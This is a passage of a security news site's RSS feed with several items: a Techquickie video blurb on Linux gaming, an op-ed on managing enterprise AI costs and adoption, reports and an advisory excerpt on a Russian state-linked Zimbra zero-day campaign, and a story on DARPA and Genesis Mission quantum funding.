<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 24191x - Views:665011 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3lJ5oT_JviI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Click this link https://boot.dev/?promo=TECHQUICKIE and use my code TECHQUICKIE to get 25% off your first payment for boot.dev. Thank you Boot.Dev for Sponsoring! <br />
<br />
From broken drivers to the Steam Deck selling millions, Linux gaming has gone from &quot;is this the year?&quot; to &quot;wait, it actually works now.&quot; But getting here took a decade of tinkering, a billion-dollar bet from Valve, and an open-source community that refused to quit. In this video we talk to Valve and the Batocera project about how Linux quietly became a real threat to Windows - and why Microsoft is playing catch-up.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br />
<br />
Purchases made through some store links may provide some compensation to Linus Media Group. Affiliate links powered in part by https://affilimate.com/<br />
<br />
Linus Sebastian is an investor in Framework Computer, Inc and HexOS by Eshtek.<br />
<br />
Chapters<br />
------------------------------------<br />
0:01 Is this the year of Linux gaming?<br />
0:43 Why Microsoft is usually better<br />
2:03 How Valve is fighting back<br />
3:37 Sponsor <br />
4:14 Steamdeck saved the day<br />
4:50 Windows claps back <br />
6:27 Valve is putting up a fight <br />
7:40 Watch another video<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]></title>
<description><![CDATA[A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activ...]]></description>
<link>https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</guid>
<pubDate>Fri, 24 Jul 2026 08:25:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Zimbra-phishing-campaign.gif" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Zimbra phishing campaign" decoding="async" title="Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit 1"></p>A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29111">exploit</a>. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
<h3><strong>Zimbra Phishing Campaign Uses CVE-2025-66376</strong></h3>
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability </a>before a patch was released. According to the <a href="https://www.ic3.gov/CSA/2026/260723.pdf" target="_blank" rel="nofollow noopener">advisory</a>, the activity began in July 2025, months before the vulnerability was published and patched.

The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29110">vulnerability</a> allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29112">data</a>.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29108">vulnerabilities</a> into a successful attack capability.
<h3><strong>LAUNDRY BEAR Targets Email and Sensitive Data</strong></h3>
The primary objective of the Russian state-supported <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29109">cyber</a> actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29114">phishing</a> emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
<h3><strong>Ulej and Flowerbed Support Email Data Exfiltration</strong></h3>
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for <a href="https://thecyberexpress.com/ai-driven-phishing-campaign/" target="_blank" rel="noopener">email data exfiltration</a>.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
<h3><strong>Organizations Urged to Patch Vulnerable Zimbra Systems</strong></h3>
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

<a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29107">Security</a> teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving <a class="wpil_keyword_link" href="https://thecyberexpress.com/how-to-get-a-vpn/" title="VPN" data-wpil-keyword-link="linked" data-wpil-monitor-id="29113">VPN</a> providers such as Mullvad.

Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian Espionage Group Exploited Zimbra Zero-Day to Steal Mail and 2FA Codes]]></title>
<description><![CDATA[A Russian state-supported espionage group spent months reading Western mailboxes through a then-unknown flaw in Zimbra’s webmail client. The payload goes after the last 90 days of email, the organization’s entire email directory, the password saved in the browser and…
Read more →
The post Russian...]]></description>
<link>https://tsecurity.de/de/3690045/it-security-nachrichten/russian-espionage-group-exploited-zimbra-zero-day-to-steal-mail-and-2fa-codes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690045/it-security-nachrichten/russian-espionage-group-exploited-zimbra-zero-day-to-steal-mail-and-2fa-codes/</guid>
<pubDate>Thu, 23 Jul 2026 21:11:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A Russian state-supported espionage group spent months reading Western mailboxes through a then-unknown flaw in Zimbra’s webmail client. The payload goes after the last 90 days of email, the organization’s entire email directory, the password saved in the browser and…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/russian-espionage-group-exploited-zimbra-zero-day-to-steal-mail-and-2fa-codes/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/russian-espionage-group-exploited-zimbra-zero-day-to-steal-mail-and-2fa-codes/">Russian Espionage Group Exploited Zimbra Zero-Day to Steal Mail and 2FA Codes</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian Espionage Group Exploited Zimbra Zero-Day to Steal Mail and 2FA Codes]]></title>
<description><![CDATA[A Russian state-supported espionage group spent months reading Western mailboxes through a then-unknown flaw in Zimbra's webmail client.

The payload goes after the last 90 days of email, the organization's entire email directory, the password saved in the browser and the codes kept for two-facto...]]></description>
<link>https://tsecurity.de/de/3690021/it-security-nachrichten/russian-espionage-group-exploited-zimbra-zero-day-to-steal-mail-and-2fa-codes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690021/it-security-nachrichten/russian-espionage-group-exploited-zimbra-zero-day-to-steal-mail-and-2fa-codes/</guid>
<pubDate>Thu, 23 Jul 2026 20:54:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Russian state-supported espionage group spent months reading Western mailboxes through a then-unknown flaw in Zimbra's webmail client.

The payload goes after the last 90 days of email, the organization's entire email directory, the password saved in the browser and the codes kept for two-factor recovery. Opening the message was enough to start it.

The NSA, CISA and partner agencies published]]></content:encoded>
</item>
<item>
<title><![CDATA[Federal quantum bet grows with DARPA’s $125 million PsiQuantum award]]></title>
<description><![CDATA[Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to ac...]]></description>
<link>https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</guid>
<pubDate>Thu, 23 Jul 2026 17:13:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Defense research agency DARPA made its largest quantum computing award ever this week, with a <a href="https://www.psiquantum.com/news-import/psiquantum-signs-125-million-agreement-with-darpa">$125 million agreement</a> announced on Wednesday. The same day, the White House announced an <a href="https://www.whitehouse.gov/releases/2026/07/45502/">additional $5 billion for the Genesis Mission</a>, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.</p>



<p class="wp-block-paragraph">“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says <a href="https://www.linkedin.com/in/heather-c-west-ph-d-52075667/">Heather West</a>, research manager in the infrastructure systems, platforms, and technology group at IDC.</p>



<p class="wp-block-paragraph">None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.</p>



<p class="wp-block-paragraph">“The US government has been signaling that quantum computing is a priority,” says <a href="https://www.linkedin.com/in/davidmooter/">David Mooter</a>, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.</p>



<p class="wp-block-paragraph">“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. </p>



<p class="wp-block-paragraph">Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”</p>



<h2 class="wp-block-heading">DARPA’s Quantum Benchmarking Initiative</h2>



<p class="wp-block-paragraph">DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for <a href="https://www.darpa.mil/news/2025/companies-targeting-quantum-computers">Stage A of the project</a>, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.</p>



<p class="wp-block-paragraph">Then, in November of 2025, DARPA chose 11 companies for <a href="https://www.darpa.mil/research/programs/quantum-benchmarking-initiative/stage-b-selection">Stage B of the project</a>, with awards of up to $15 million for developing their research plans.</p>



<p class="wp-block-paragraph">To date, only two companies have been chosen for <a href="https://www.darpa.mil/news/2025/quantum-computing-approaches">Stage C</a>: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, <a href="https://www.darpa.mil/sites/default/files/attachment/2025-09/darpa-mto-spark-tank-qbi.pdf">according to DARPA</a>.</p>



<p class="wp-block-paragraph">This past May, <a href="https://www.psiquantum.com/news-import/us-department-of-commerce">PsiQuantum also announced $100 million</a> from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.</p>



<p class="wp-block-paragraph">Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.</p>



<h2 class="wp-block-heading">Genesis Mission</h2>



<p class="wp-block-paragraph">Genesis Mission was <a href="https://www.whitehouse.gov/presidential-actions/2025/11/launching-the-genesis-mission/">launched</a> in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.</p>



<p class="wp-block-paragraph">As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced <a href="https://infleqtion.com/infleqtion-secures-three-genesis-mission-projects-from-u-s-department-of-energy/">three projects for the Department of Energy</a> on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.</p>



<p class="wp-block-paragraph">This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.</p>



<p class="wp-block-paragraph">Other quantum-related Genesis Mission projects announced this week include $1.5 million for a <a href="https://www.bluequbit.io/blog/bluequbit-and-partners-awarded-1-5m-in-doe-genesis-mission-grants-to-advance-ai-driven-quantum-error-correction">BlueQubit quantum error correction project</a> with Microsoft and other partners, a <a href="https://news.stanford.edu/stories/2026/07/stanford-and-slac-to-lead-genesis-mission-projects-that-tackle-the-nation-s-most-complex-science-and-technology-challenges">Stanford effort</a> to model the behavior of electrons at quantum scale, an <a href="https://news.mit.edu/2026/mit-projects-selected-funding-under-doe-genesis-mission-0723">MIT quantum sensing project</a>, Argonne National Laboratory <a href="https://www.anl.gov/article/argonne-to-lead-ai-research-projects-under-the-department-of-energys-genesis-mission">projects</a> on quantum circuit design and quantum sensors, Brookhaven Lab <a href="https://www.bnl.gov/newsroom/news.php?a=123041">quantum sensor projects</a>, and quantum computing <a href="https://news.northwestern.edu/stories/2026/07/northwestern-projects-receive-genesis-mission-funding">projects</a> at Northwestern University.</p>



<p class="wp-block-paragraph">IBM, one of three dozen private companies that are part of the <a href="https://www.genesismissionconsortium.org/our-members#private-sector">Genesis Mission Consortium</a>, announced that it will be leading a <a href="https://research.ibm.com/blog/ibm-us-genesis-mission-quantum-ai">project</a> to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.</p>



<h2 class="wp-block-heading">Enterprise priorities</h2>



<p class="wp-block-paragraph">This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.</p>



<p class="wp-block-paragraph">But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.</p>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4158139/fixing-encryption-isnt-enough-quantum-developments-put-focus-on-authentication.html">The point of no return is closer than ever</a>, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks/">federal deadline</a> for naming their post-quantum cryptography migration leads under a June executive order.</p>



<p class="wp-block-paragraph">“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.</p>



<p class="wp-block-paragraph">However, according to a survey <a href="https://www.digicert.com/news/quantum-security-deployment-remains-stuck">released by DigiCert this morning</a>, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
